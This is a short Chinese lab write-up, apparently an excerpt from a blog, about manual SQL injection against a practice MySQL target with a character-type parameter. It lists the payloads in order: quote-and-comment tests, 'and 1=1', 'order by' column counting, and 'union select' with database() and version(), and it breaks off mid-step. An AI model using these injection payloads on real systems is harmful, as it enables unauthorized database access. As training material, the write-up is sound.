SQL手工注入漏洞测试(MySQL数据库-字符型)

启动靶场 点击‘关于平台停机维护的通知’ 在id后加’%23 判断是否存在注入点，加’ and 1=1%23，存在注入点。 ’ order by 5%23 ’ order by 4%23，有四个字段。 id=1’ and 1=2 union select 1,2,3,4%23 id=1’ and 1=2 union select 1,database(),version(),4%23 id=1’

>>阅读原文<<